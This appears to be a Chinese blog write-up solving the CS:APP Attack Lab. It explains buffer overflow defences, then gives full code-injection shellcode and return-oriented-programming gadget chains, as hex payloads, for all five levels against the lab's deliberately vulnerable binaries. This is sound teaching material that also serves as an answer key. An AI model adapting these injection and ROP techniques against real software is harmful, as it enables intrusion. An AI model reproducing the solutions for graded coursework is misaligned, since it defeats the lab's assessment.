Attack-lab


title: Attack_lab
tags:

  • csapp
  • lab
    date: 2023-08-26 13:46:26

这个实验非常有意思,了解一下缓冲区溢出相关的知识就可以开始了。

​ ! _ !

文件信息:

argetk中的文件包括:
README.txt:描述目录内容的文件
ctarget:易受代码注入攻击的可执行程序
rtarget:易受面向返回编程攻击的可执行程序
cookie.txt:8位十六进制代码,您将在攻击中使用它作为唯一标识符。
farm.c:目标“gadget farm”的源代码,您将使用它生成面向返回的编程攻击。
hex2raw:生成攻击字符串的实用程序。

《深入理解计算机系统》实验三Attack Lab下载和官方文档机翻_Addyz的博客-CSDN博客

看官方文档说是要以csapp3.10.3–3.10.4作为参考,这两个小节主要讲了缓冲区溢出和保护机制。

缓冲区溢出:

对抗缓冲区溢出攻击:

栈随机化:

栈的位置每次运行都有变化,因此很多地址不能确定,代码不能实现跳转。实现的方法是在程序开始时,在栈上分配一段0~n字节之间随机大小的空间。

金丝雀值(canary):

在栈的缓冲区开始的位置填充一个值,每次函数调用这个数值要和数据段中的一个不可更改的值进行比较,一旦发生缓冲区溢出,cannary值就会发生变化,从而结束程序。

限制可执行代码区域:

栈空间被设置为不可执行属性,所以不能直接在输入的字符中创建shellcode,要通过rop才能实行攻击。

实验部分1代码注入攻击:

Level1:

test 调用完getbuf,使getbuf 返回执行touch1 而不是返回test 。

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}
void test()
{
    int val;
    val = getbuf();
    printf("No exploit.Getbuf returned 0x%x\n",val);
}

void touch1()
{
    vlevel=1;
    printf("Touch1!:You called touch1()\n");
    exit(0);
}

对应的汇编内容

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret    
  4017be:	90                   	nop
  4017bf:	90                   	nop
  
  0000000000401968 <test>:
  401968:	48 83 ec 08          	sub    $0x8,%rsp
  40196c:	b8 00 00 00 00       	mov    $0x0,%eax
  401971:	e8 32 fe ff ff       	call   4017a8 <getbuf>         # push IP ; jmp getbuf
  401976:	89 c2                	mov    %eax,%edx
  401978:	be 88 31 40 00       	mov    $0x403188,%esi
  40197d:	bf 01 00 00 00       	mov    $0x1,%edi
  401982:	b8 00 00 00 00       	mov    $0x0,%eax
  401987:	e8 64 f4 ff ff       	call   400df0 <__printf_chk@plt>
  40198c:	48 83 c4 08          	add    $0x8,%rsp
  401990:	c3                   	ret    
  401991:	90                   	nop
  
  00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	call   400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	call   401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	call   400e40 <exit@plt>

我们只要确定存放返回地址的位置,将其覆盖成4017c0即可。可以看到调用getbuf之后,sub $0x28,%rsp,创建了0x28字节的缓冲区域,返回地址位于栈底,第一个字符距离栈底28个字节,我们只要输入一串长度为32字节的字符,前二十八个任意填充,后四个按照小端序填充touch1的地址c0 17 40 00即可。

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00

在这里插入图片描述

正确的姿势是将16进制数据写入flag1.txt然后使用题目中给出的16进制转字符串工具>flag01.txt,然后将flag01.txt作为参数传入。

./hex2raw < flag1.txt  > input1.txt

注意这里的< 和 >不是括号,而是指向,将flag1.txt传入hex,其输出结果写入input1.txt

./ctarget -q -i flag01.txt
  • -q选项是不连接网络 (不加此选项会报错)
  • -i 是 以文件作为输入
Level2:

test调用getbuf,并返回touch2,和level1的不同在于touch2需要参数,函数的第一个参数是存放在rdi寄存器中的。

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

void test()
{
    int val;
    val = getbuf();
    printf("No exploit.Getbuf returned 0x%x\n",val);
}

void touch2(unsigned val)
{
    vlevel=2;
    if (val==cookie)
    {
        printf("Touch2!:You called touche2(0x%.8x)",val);
        validate(2);
    }
    else
    {
        printf("Misfire:You called touch2(0x%.8x)\n",val);
        fail(2);
    }
    exit(0);
}

对应的汇编内容:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret    
  4017be:	90                   	nop
  4017bf:	90                   	nop
  
  0000000000401968 <test>:
  401968:	48 83 ec 08          	sub    $0x8,%rsp
  40196c:	b8 00 00 00 00       	mov    $0x0,%eax
  401971:	e8 32 fe ff ff       	call   4017a8 <getbuf>         # push IP ; jmp getbuf
  401976:	89 c2                	mov    %eax,%edx
  401978:	be 88 31 40 00       	mov    $0x403188,%esi
  40197d:	bf 01 00 00 00       	mov    $0x1,%edi
  401982:	b8 00 00 00 00       	mov    $0x0,%eax
  401987:	e8 64 f4 ff ff       	call   400df0 <__printf_chk@plt>
  40198c:	48 83 c4 08          	add    $0x8,%rsp
  401990:	c3                   	ret    
  401991:	90                   	nop
  
  00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel> vlevel=2;
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>   if(val==cookie)
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be e8 30 40 00       	mov    $0x4030e8,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	call   400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 6b 04 00 00       	call   401c8d <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 10 31 40 00       	mov    $0x403110,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	call   400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 0d 05 00 00       	call   401d4f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	call   400e40 <exit@plt>

首先还是在保存返回地址的地方填充touch2的地址,接下来的难点在于如何将cookie填充到rdi中

cmp    0x202ce2(%rip),%edi    # if(val==cookie)

cookie的值储存在相对rip偏移0x202ce2的位置。思路: 仍然填充44个字节,最后四个字节填充我们编写的shellcode的地址,通过执行shellcode,rdi填充了cookie,并将touch2的地址pop进了栈,最后ret回到touch2。ret指令相当于pop ip,我们64位机器使用retq。

在这里插入图片描述

使用gdb进行调试,b getbuf 将断点设在getbuf函数,查看栈的地址,减去0x28之后,栈顶的地址是0x5561dc78。这是我们填充的数据

mov 0x59b997fa,%edi
push touch2_address
retq
xxxxxxxxxxx
xxxxxxxxxxx
return_address

有一点要注意,栈是从高地址向低地址增长,而代码是从低地址往高地址执行所以填充之后栈空间应该是这样在这里插入图片描述
接下来是得到相应的字节码,首先用gcc进行汇编操作得到.o后缀的目标文件,然后用odjdump进行反汇编即可。在这里插入图片描述

 0:	bf fa 97 b9 59       	mov    $0x59b997fa,%edi
 5:	68 ec 17 40 00       	push   $0x4017ec
 c:	c3                   	ret    
bf fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55

成功,中间犯了一个小错误,将push $0x4017ec写成了push 0x4017ec,其中前者代表的是立即数,后者则代表的内存地址处的值。

Level3:

还是test调用完getbuf之后不返回test,而是执行touch3,touch3需要接收参数cookie,touch3中还调用了hexmatch函数,要传递两个参数。

思路: 不能直接ret到touch3中,应该像上一个挑战一样,先跳转到我们的shellcode,shellcode完成参数的传递以及ret到touch3。

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

void test()
{
    int val;
    val = getbuf();
    printf("No exploit.Getbuf returned 0x%x\n",val);
}

int hexmatch(unsigned val,char *sval)
{
  char cbuf[110];
  char* s=cbuf+random()%100;
  sprintf(s,"%.8x",val);
  return strncmp(sval,s,9)==0;
}

void touch3(char* sval)
{
    vlevel=3;
    if(hexmatch(cookie,sval)){
        printf("Touch3!:You called touch3(\"%s\")\n,sval");
        calidate(3);
    }else{
        printf("Misfire:You called touch3(\"%s\")\n,sval");
        fail(3);
    }
    exit(0);
}

汇编代码如下:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret    
  4017be:	90                   	nop
  4017bf:	90                   	nop
  
  0000000000401968 <test>:
  401968:	48 83 ec 08          	sub    $0x8,%rsp
  40196c:	b8 00 00 00 00       	mov    $0x0,%eax
  401971:	e8 32 fe ff ff       	call   4017a8 <getbuf>         # push IP ; jmp getbuf
  401976:	89 c2                	mov    %eax,%edx
  401978:	be 88 31 40 00       	mov    $0x403188,%esi
  40197d:	bf 01 00 00 00       	mov    $0x1,%edi
  401982:	b8 00 00 00 00       	mov    $0x0,%eax
  401987:	e8 64 f4 ff ff       	call   400df0 <__printf_chk@plt>
  40198c:	48 83 c4 08          	add    $0x8,%rsp
  401990:	c3                   	ret    
  401991:	90                   	nop
  
  000000000040184c <hexmatch>:
  40184c:	41 54                	push   %r12
  40184e:	55                   	push   %rbp
  40184f:	53                   	push   %rbx
  401850:	48 83 c4 80          	add    $0xffffffffffffff80,%rsp    #-128
  401854:	41 89 fc             	mov    %edi,%r12d
  401857:	48 89 f5             	mov    %rsi,%rbp
  40185a:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
  401861:	00 00 
  401863:	48 89 44 24 78       	mov    %rax,0x78(%rsp)
  401868:	31 c0                	xor    %eax,%eax
  40186a:	e8 41 f5 ff ff       	call   400db0 <random@plt>
  40186f:	48 89 c1             	mov    %rax,%rcx
  401872:	48 ba 0b d7 a3 70 3d 	movabs $0xa3d70a3d70a3d70b,%rdx
  401879:	0a d7 a3 
  40187c:	48 f7 ea             	imul   %rdx
  40187f:	48 01 ca             	add    %rcx,%rdx
  401882:	48 c1 fa 06          	sar    $0x6,%rdx
  401886:	48 89 c8             	mov    %rcx,%rax
  401889:	48 c1 f8 3f          	sar    $0x3f,%rax
  40188d:	48 29 c2             	sub    %rax,%rdx
  401890:	48 8d 04 92          	lea    (%rdx,%rdx,4),%rax
  401894:	48 8d 04 80          	lea    (%rax,%rax,4),%rax
  401898:	48 c1 e0 02          	shl    $0x2,%rax
  40189c:	48 29 c1             	sub    %rax,%rcx
  40189f:	48 8d 1c 0c          	lea    (%rsp,%rcx,1),%rbx
  4018a3:	45 89 e0             	mov    %r12d,%r8d
  4018a6:	b9 e2 30 40 00       	mov    $0x4030e2,%ecx
  4018ab:	48 c7 c2 ff ff ff ff 	mov    $0xffffffffffffffff,%rdx
  4018b2:	be 01 00 00 00       	mov    $0x1,%esi
  4018b7:	48 89 df             	mov    %rbx,%rdi
  4018ba:	b8 00 00 00 00       	mov    $0x0,%eax
  4018bf:	e8 ac f5 ff ff       	call   400e70 <__sprintf_chk@plt>
  4018c4:	ba 09 00 00 00       	mov    $0x9,%edx
  4018c9:	48 89 de             	mov    %rbx,%rsi
  4018cc:	48 89 ef             	mov    %rbp,%rdi
  4018cf:	e8 cc f3 ff ff       	call   400ca0 <strncmp@plt>
  4018d4:	85 c0                	test   %eax,%eax
  4018d6:	0f 94 c0             	sete   %al
  4018d9:	0f b6 c0             	movzbl %al,%eax
  4018dc:	48 8b 74 24 78       	mov    0x78(%rsp),%rsi
  4018e1:	64 48 33 34 25 28 00 	xor    %fs:0x28,%rsi
  4018e8:	00 00 
  4018ea:	74 05                	je     4018f1 <hexmatch+0xa5>
  4018ec:	e8 ef f3 ff ff       	call   400ce0 <__stack_chk_fail@plt>
  4018f1:	48 83 ec 80          	sub    $0xffffffffffffff80,%rsp
  4018f5:	5b                   	pop    %rbx
  4018f6:	5d                   	pop    %rbp
  4018f7:	41 5c                	pop    %r12
  4018f9:	c3                   	ret    

00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx
  4018fb:	48 89 fb             	mov    %rdi,%rbx        #将rdi里的参数复制到rbx
  4018fe:	c7 05 d4 2b 20 00 03 	movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>
  401905:	00 00 00 
  401908:	48 89 fe             	mov    %rdi,%rsi  #参数sval
  40190b:	8b 3d d3 2b 20 00    	mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>
  401911:	e8 36 ff ff ff       	call   40184c <hexmatch>
  401916:	85 c0                	test   %eax,%eax
  401918:	74 23                	je     40193d <touch3+0x43>
  40191a:	48 89 da             	mov    %rbx,%rdx
  40191d:	be 38 31 40 00       	mov    $0x403138,%esi
  401922:	bf 01 00 00 00       	mov    $0x1,%edi
  401927:	b8 00 00 00 00       	mov    $0x0,%eax
  40192c:	e8 bf f4 ff ff       	call   400df0 <__printf_chk@plt>
  401931:	bf 03 00 00 00       	mov    $0x3,%edi
  401936:	e8 52 03 00 00       	call   401c8d <validate>
  40193b:	eb 21                	jmp    40195e <touch3+0x64>
  40193d:	48 89 da             	mov    %rbx,%rdx
  401940:	be 60 31 40 00       	mov    $0x403160,%esi
  401945:	bf 01 00 00 00       	mov    $0x1,%edi
  40194a:	b8 00 00 00 00       	mov    $0x0,%eax
  40194f:	e8 9c f4 ff ff       	call   400df0 <__printf_chk@plt>
  401954:	bf 03 00 00 00       	mov    $0x3,%edi
  401959:	e8 f1 03 00 00       	call   401d4f <fail>
  40195e:	bf 00 00 00 00       	mov    $0x0,%edi
  401963:	e8 d8 f4 ff ff       	call   400e40 <exit@plt>

首先调用touch3之前,要确保rdi中有指针,注意参数类型是char*而上一个挑战 void touch2(unsigned val)参数是一个无符号整型,所以这一次我们还要创建一个字符串被rdi中的指针所指。字符串是“59b997fa”,我们将字符串的ascii输入。

db "59b997fa",0
mov %sval_address ,%rdi
push %touch3_address
ret

字符串是以**‘\0’**结尾的,其ascii是0,检测到0计算机就是到字符串结束了。我们只要将字符串的首地址放入寄存器rdi即可。题目描述中还提到在这里插入图片描述

可以看到在调用了hexmatch之后,连续push了三次在这里插入图片描述

所以临近返回地址的地方不要存放数据。在这里插入图片描述

0:	48 c7 c7 78 dc 61 55 	mov    $0x5561dc78,%rdi
7:	68 fa 18 40 00       	push   $0x4018fa
c:	c3                   	ret    

所以:

35 39 62 39 39 37 66 61 
00 48 c7 c7 78 dc 61 55
68 fa 18 40 00 c3 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
81 dc 61 55

注意,最后的四字节的地址不再是栈顶的位置,因为我们的字符串是存放在栈顶的,ret到栈顶程序不会向下执行,我们要ret到mov指令的地址。81=78+9

失败了,猜测应该还是被hexmatch和strcmp压入的数据覆盖了,参考了一下,原来还可以将字符串放置在第44个字节后面,即test的栈帧中,因为我们不在返回test所以覆盖那里也没什么影响。

0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
7:	68 fa 18 40 00       	push   $0x4018fa
c:	c3                   	ret  
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00

注意不能直接跟在44字节后面,因为64位机器ret指令相当于pop八个字节,pop之后rsp+8,所以字符串要在返回地址八个字节之后.0x5561dca8=0x5561dc78+0x2c(48字节)。

在这里插入图片描述

成功!!!

实验部分2面向返回的编程:

这一部分难度增加,上一部分挑战栈既没有随机化也没有不可执行的内存标记。栈空间被标记为不可执行区域,所以我们不再能使用注入的shellcode。接下来的挑战要用到ROP ( Return-oriented Programming )即面向返回的编程。

ROP原理:

在这里插入图片描述

我们注入的内容被划分为一个个gadget,其实是一个个地址,gatcode有一个显著的特点,即最后一字节内容为c3即ret的机器码,这样一个个gatget就有ret指令连接了起来。既然栈内空间不可执行,那么这个地址要指向哪里呢?答案是程序现有的代码段,举例来说在这里插入图片描述

这是一个函数,看起来没什么特别,也没有什么攻击性,但是转化为它的机器级表示在这里插入图片描述

其中 48 89 c7mov %rax,rdi的机器码,我们只要在返回地址处填充0x400f18(起始地址400f15往后三个字节)即可执行mov %rax,rdi并且由ret弹出栈内的下一个地址继续操作。PDF给出了几张供我们参考攻击的表在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
好,接下来开搞。!!!

Level4:

这个挑战和2要达到相同的目的,即test在调用完getbuf之后返回执行touch2,执行touch2之前要往%rdi中传递参数cookie。在level2中我们直接在栈中注入了mov cookie,%rdi 的机器码,这次挑战我们只能利用现有的代码执行。

分为两步,cookie在我们注入的字符串中,要通过pop指令将cookie弹到rdi中,对应的机器码是 5f,可惜的是在给出的gadget中并没有5f,所以我们只能先将cookie弹到一个寄存器,再将这个寄存器的值复制到%rdi中

在这里插入图片描述

48 89 c7对应 mov %rax,%rdi,地址是0x4019a2

在这里插入图片描述

58 90 c3 对应 popq %rax ; nop ; ret 。地址0x4019ab。接下来就该考虑注入的顺序了。

touch2的地址:0x4017ec。cookie的值0x59b997fa

在这里插入图片描述

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

在这里插入图片描述

脑子抽了一直用上一个题目测试答案显示失败。。。

Level5:

使用ROP完成level3。这是shellcode实现的操作:

db "59b997fa",0
mov %sval_address ,%rdi
push %touch3_address
ret

首先将字符串“35 39 62 39 39 37 66 61 0a 00”入栈,然后将其首地址pop到一个寄存器,然后复制到%edi,然后调用touch3,要考虑到hexmatch和strcmp对栈的影响。由于栈随机化的原因,我们不能直接获得字符串的地址,但是可以通过movl %esp,xxx指令得到当前的栈顶地址,计算出字符串的地址。movl以寄存器作为目的时会把高四个字节设置为0.

在这里插入图片描述

只有一个选择 48 89 e0mov %rsp,%rax (或许89 e0),栈顶地址被放入%eax中,地址0x401a07。。。思考了良久之后,我发现无解了,因为仅靠寄存器之间的mov指令和pop指令不可能增加某个寄存器的值,所以我们放入%eax中的值不能发生变化,这显然不可能。

看了提示之后才恍然大悟,题目并没有局限在mov,movl,popq指令之间,在提供的rop指令中存在大量的lea指令,之前学习过lea指令,加载有效地址,同时它可以进行四则混合运算,在这里我们需要他的运算。在这里插入图片描述

在这里插入图片描述

检索了全部lea相关的指令,发现只有一个能够使用(其他都是lea -0x6fa78caf(%rdi),%eax格式,即将%rdi加上一个立即数赋值给%eax)。lea (%rdi,%rsi,1),%rax的作用是rax=rdi+rsi*1,有了这条指令的帮助我们就可以变更栈中存放的地址。在这里插入图片描述

只要按照这个思路,计算出X的值即可,实际操作过程中发现没有pop %rsi以及许多相关指令,最终只能用 pop %rax ; mov eax,edx ; mov edx,ecx; mov ecx,esi 这四条指令来代替。

pop %rax;ret地址:0x4019ab

mov eax,edx;ret地址:0x401a42

mov edx,ecx;ret地址:0x401a69

mov ecx,esi;ret地址:0x401a13

mov rsp,rax地址:0x401aad

mov rax,rdi地址:0x4019a2

lea (%rdi,%rsi,1),%rax地址:0x4019d6

mov rax,rdi地址:0x4019a2

在这里插入图片描述

通过计算,执行mov rsp,rdi的时候rsp的值是48,cookie相对它32个字节即0x20

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
ab 19 40 00 00 00 00 00
20 00 00 00 00 00 00 00
42 1a 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
ad 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00

在这里插入图片描述

over,学到了很多_

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值